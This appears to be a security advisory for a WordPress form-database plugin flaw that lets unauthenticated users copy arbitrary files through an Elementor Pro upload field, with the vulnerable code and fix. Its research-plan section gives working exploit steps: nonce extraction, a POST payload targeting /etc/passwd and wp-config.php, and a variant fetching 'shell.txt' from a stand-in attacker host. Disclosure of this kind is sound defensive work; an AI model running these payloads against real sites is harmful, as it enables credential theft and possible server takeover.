Database for Contact Form 7, WPforms, Elementor forms <= 1.5.1 - Unauthenticated Arbitrary File Copy/Upload via Elementor Pro Form Upload Field 'raw_value'
Description
The Database for Contact Form 7, WPforms, Elementor forms plugin for WordPress is vulnerable to Arbitrary File Copy via the create_entry_el() function in versions up to, and including, 1.5.1. The function reads raw_value from Elementor Pro's Form_Record object for upload-type fields and passes it directly to PHP's copy() without validating that the value corresponds to a legitimately uploaded file — when no file is present in $_FILES, raw_value reflects the attacker-controlled POST string. copy() accepts both local filesystem paths and URL sources, so the attacker can target any file readable by the PHP process or supply an attacker-controlled remote URL. Elementor Pro is a prerequisite for triggering the code path (it owns the elementor_pro/forms/new_record hook and populates the Form_Record object), but the bug itself is entirely in Contact Form Entries' handler. This could allow unauthenticated attackers to disclose arbitrary files on the affected site's server. The file is copied to a directory unknown to the attacker; the hashed directory name provides defense-in-depth but is generated from non-cryptographic sources (uniqid() + rand()) and should not be relied upon as the primary mitigation.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:NTechnical Details
<=1.5.1What Changed in the Fix
Changes introduced in v1.5.2
Source Code
WordPress.org SVNThis research plan provides a technical roadmap for exploring and validating CVE-2026-9145. ### 1. Vulnerability Summary The "Database for Contact Form 7, WPforms, Elementor forms" plugin (v1.5.1 and below) contains a path traversal vulnerability in its Elementor Pro integration. When a form is sub…
Show full research plan
This research plan provides a technical roadmap for exploring and validating CVE-2026-9145.
1. Vulnerability Summary
The "Database for Contact Form 7, WPforms, Elementor forms" plugin (v1.5.1 and below) contains a path traversal vulnerability in its Elementor Pro integration. When a form is submitted, the plugin's create_entry_el() function hooks into elementor_pro/forms/new_record. For form fields of type "upload," the plugin attempts to move or copy the uploaded file to its own storage directory.
The vulnerability exists because the code fails to verify if the file path provided in the Elementor Pro Form_Record object actually corresponds to a file uploaded via $_FILES. If an attacker submits a standard POST parameter (string) for the file upload field instead of a multipart file upload, the plugin treats the attacker-controlled string as a source path for the PHP copy() function. Since copy() supports local file paths and URLs, an unauthenticated attacker can disclose sensitive local files or perform a limited form of SSRF.
2. Attack Vector Analysis
- Entry Point: Public-facing Elementor Pro form submission.
- Hook:
elementor_pro/forms/new_record(registered insetup_main()). - Vulnerable Function:
vxcf_form::create_entry_el(). - Vulnerable Sink:
copy($source, $destination). - Required Parameter: The name/ID of an "upload" type field in an Elementor Pro form.
- Authentication: Unauthenticated (default for most public forms).
- Preconditions:
- Elementor Pro must be installed and active.
- An Elementor Pro form with at least one "File Upload" field must exist on a public page.
3. Code Flow
- Request: An attacker sends a POST request to a page containing an Elementor Pro form.
- Trigger: Elementor Pro processes the form and triggers the
elementor_pro/forms/new_recordhook. - Plugin Execution:
vxcf_form::create_entry_el($record, $handler)is called. - Field Processing: The function iterates through form fields. For "upload" fields, it retrieves the value using
$record->get_field_data($field_id). - Logic Failure: The code checks for the presence of a file. If no actual file is in
$_FILES, it mistakenly uses theraw_value(the POST string) from the$recordobject as the$sourceforcopy(). - File Copy:
copy($source, $destination)is executed where$sourceis an arbitrary path like/etc/passwd. - Storage: The file is copied into
wp-content/uploads/crm_perks_uploads/[hashed_subdir]/[filename].
4. Nonce Acquisition Strategy
Elementor Pro forms are protected by a frontend nonce. To trigger the new_record hook successfully, the exploit must include the correct form ID and the nonce generated for that form.
- Identify Target Page: Find a page using an Elementor Pro form (e.g.,
/contact/). - Navigate: Use
browser_navigate("http://localhost:8080/contact/"). - Extract Form Data: Use
browser_evalto extract the necessary hidden fields.const form = document.querySelector('form.elementor-form'); const data = { post_id: form.querySelector('input[name="post_id"]').value, form_id: form.querySelector('input[name="form_id"]').value, nonce: form.querySelector('input[name="_nonce"]').value, upload_field_name: form.querySelector('input[type="file"]').name }; data; - Note: The
upload_field_nameis typically something likeform_fields[field_id].
5. Exploitation Strategy
The goal is to copy /etc/passwd to a web-accessible directory managed by the plugin and then retrieve it.
Step 1: Discover Upload Field ID
Identify the specific parameter name for the file upload field from the HTML source (e.g., form_fields[6bc217a]).
Step 2: Send Exploit Payload
Construct a POST request that mimics a form submission but provides the target file path as a string.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php(Note: Elementor forms often submit to the current page URL or admin-ajax.php; check theactionattribute of the form). - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
action:elementor_pro_forms_send_formpost_id: [EXTRACTED_POST_ID]form_id: [EXTRACTED_FORM_ID]_nonce: [EXTRACTED_NONCE]form_fields[FIELD_ID]:/etc/passwd(The Payload)
Step 3: Identify the Destination Path
The plugin generates a random directory for each submission using uniqid() + rand(). Since we cannot guess this, we must check the database to see where the entry was saved.
6. Test Data Setup
- Install Plugins: Ensure
contact-form-entries(v1.5.1) andelementor-proare active. - Create Form:
- Create a new page.
- Add an Elementor "Form" widget.
- Add a field: Type = "File Upload", Label = "Document".
- Publish the page.
- Confirm Path: Ensure the
wp-content/uploads/crm_perks_uploads/directory is writable by the web server.
7. Expected Results
- The
copy()function will execute, reading/etc/passwd. - A new directory will be created under
wp-content/uploads/crm_perks_uploads/. - The contents of
/etc/passwdwill be saved inside that directory with the namepasswd. - The plugin will create a record in its database table representing this "submission."
8. Verification Steps (Post-Exploit)
Since the destination directory is hashed, use WP-CLI to retrieve the file path from the database:
- Check Entries:
# List the most recent submission to find the file link wp db query "SELECT * FROM \$(wp db prefix --allow-root)vxcf_leads ORDER BY id DESC LIMIT 1;" --allow-root - Extract URL: Look for the field containing the file path/URL in the query results.
- Verify File Content:
# Assuming the DB shows the file was saved to 'crm_perks_uploads/65a.../passwd' cat /var/www/html/wp-content/uploads/crm_perks_uploads/[HASHED_DIR]/passwd
9. Alternative Approaches
- Remote File Inclusion (RFI) style Copy: Instead of
/etc/passwd, supply a URL:http://attacker.com/shell.txt. PHP'scopy()will fetch the remote URL and save it to the server. If the server allows executing PHP in the uploads directory (rare in modern WP), this could lead to RCE. - LFI / Disclosure: Target
wp-config.phpto extract database credentials.- Payload:
form_fields[FIELD_ID]=../../../wp-config.php(relative path) or the absolute path/var/www/html/wp-config.php.
- Payload:
Summary
The Contact Form Entries plugin (up to v1.5.1) is vulnerable to unauthenticated arbitrary file copy when integrated with Elementor Pro. The `create_entry_el()` function fails to verify if file upload data originated from a legitimate upload, allowing an attacker to provide a local file path or remote URL as a string which is then processed by PHP's `copy()` function, disclosing sensitive files.
Vulnerable Code
/* contact-form-entries.php line 639 */ $val=$v['raw_value']; if(in_array($v['type'],array('upload','file'))){ $upload_files[$v['id']]=$val; }else{ --- /* contact-form-entries.php line 648 */ if($track ){ //&& !empty(self::$is_pr) $upload_files=$this->copy_files($upload_files); }
Security Fix
@@ -25,7 +25,7 @@ public static $type = "vxcf_form"; public static $path = ''; - public static $version = '1.5.1'; + public static $version = '1.5.2'; public static $upload_folder = 'crm_perks_uploads'; public static $db_version=''; public static $base_url=''; @@ -626,7 +626,7 @@ // $d=$record->get_form_settings( 'form_fields' ); //form_name $data = $record->get( 'fields' ); - // $raw_files = $record->get( 'files' ); + $raw_files = $record->get( 'files' ); $form_id=$form_id_p.'_'+post_id_p; $track=$this->track_form_entry('el',$form_id); $fields=self::get_form_fields('el_'.$form_id); @@ -637,16 +637,16 @@ if(in_array($v['type'],array('html','step','recaptcha','recaptcha_v3','honeypot'))){ continue; } -$val=$v['raw_value']; -if(in_array($v['type'],array('upload','file'))){ - $upload_files[$v['id']]=$val; +$val=$v['raw_value']; //var_dump($v); +if(in_array($v['type'],array('upload','file')) && isset($raw_files[$v['id']]) && isset($raw_files[$v['id']]['path'])){ + $upload_files[$v['id']]=$raw_files[$v['id']]['path']; }else{ if(in_array($v['type'],array('checkbox','multiselect'))){
Exploit Outline
The exploit targets an Elementor Pro form that includes a 'File Upload' field. An unauthenticated attacker first obtains the form's post ID, form ID, and nonce from the page HTML. They then send a POST request to the form submission endpoint (typically `admin-ajax.php` with the `elementor_pro_forms_send_form` action). Instead of performing a multipart file upload, the attacker provides the target local file path (e.g., `/etc/passwd`) or a remote URL as a string value for the upload field's parameter. The plugin's `create_entry_el()` function incorrectly uses this string as the source for a `copy()` operation, saving the file's content into a randomized subdirectory under `wp-content/uploads/crm_perks_uploads/`. The attacker can then retrieve the file by identifying the destination directory, which is generated using non-cryptographic methods.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.